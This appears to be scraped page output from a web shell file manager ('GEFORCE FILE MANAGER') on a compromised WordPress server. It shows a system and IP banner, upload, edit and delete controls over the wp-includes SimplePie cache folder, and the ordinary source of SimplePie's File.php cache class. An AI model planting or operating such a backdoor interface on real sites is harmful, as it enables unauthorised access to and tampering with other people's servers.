[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
SimplePie
/
src
/
Cache
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 Base.php
1,878 B
SET
[ EDIT ]
|
[ DEL ]
📄 BaseDataCache.php
3,587 B
SET
[ EDIT ]
|
[ DEL ]
📄 CallableNameFilter.php
1,518 B
SET
[ EDIT ]
|
[ DEL ]
📄 DB.php
3,705 B
SET
[ EDIT ]
|
[ DEL ]
📄 DataCache.php
2,799 B
SET
[ EDIT ]
|
[ DEL ]
📄 File.php
2,977 B
SET
[ EDIT ]
|
[ DEL ]
📄 Memcache.php
3,712 B
SET
[ EDIT ]
|
[ DEL ]
📄 Memcached.php
3,829 B
SET
[ EDIT ]
|
[ DEL ]
📄 MySQL.php
13,703 B
SET
[ EDIT ]
|
[ DEL ]
📄 NameFilter.php
1,175 B
SET
[ EDIT ]
|
[ DEL ]
📄 Psr16.php
3,256 B
SET
[ EDIT ]
|
[ DEL ]
📄 Redis.php
4,305 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: File.php
<?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; /** * Caches data to the filesystem * * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead */ class File implements Base { /** * Location string * * @see SimplePie::$cache_location * @var string */ protected $location; /** * Filename * * @var string */ protected $filename; /** * File extension * * @var string */ protected $extension; /** * File path * * @var string */ protected $name; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct(string $location, string $name, $type) { $this->location = $location; $this->filename = $name; $this->extension = $type; $this->name = "$this->location/$this->filename.$this->extension"; } /** * Save data to the cache * * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) { if ($data instanceof \SimplePie\SimplePie) { $data = $data->data; } $data = serialize($data); return (bool) file_put_contents($this->name, $data); } return false; } /** * Retrieve the data saved to the cache * * @return array<mixed>|false Data for SimplePie::$data */ public function load() { if (file_exists($this->name) && is_readable($this->name)) { return unserialize((string) file_get_contents($this->name)); } return false; } /** * Retrieve the last modified time for the cache * * @return int|false Timestamp */ public function mtime() { return @filemtime($this->name); } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { return @touch($this->name); } /** * Remove the cache * * @return bool Success status */ public function unlink() { if (file_exists($this->name)) { return unlink($this->name); } return false; } } class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');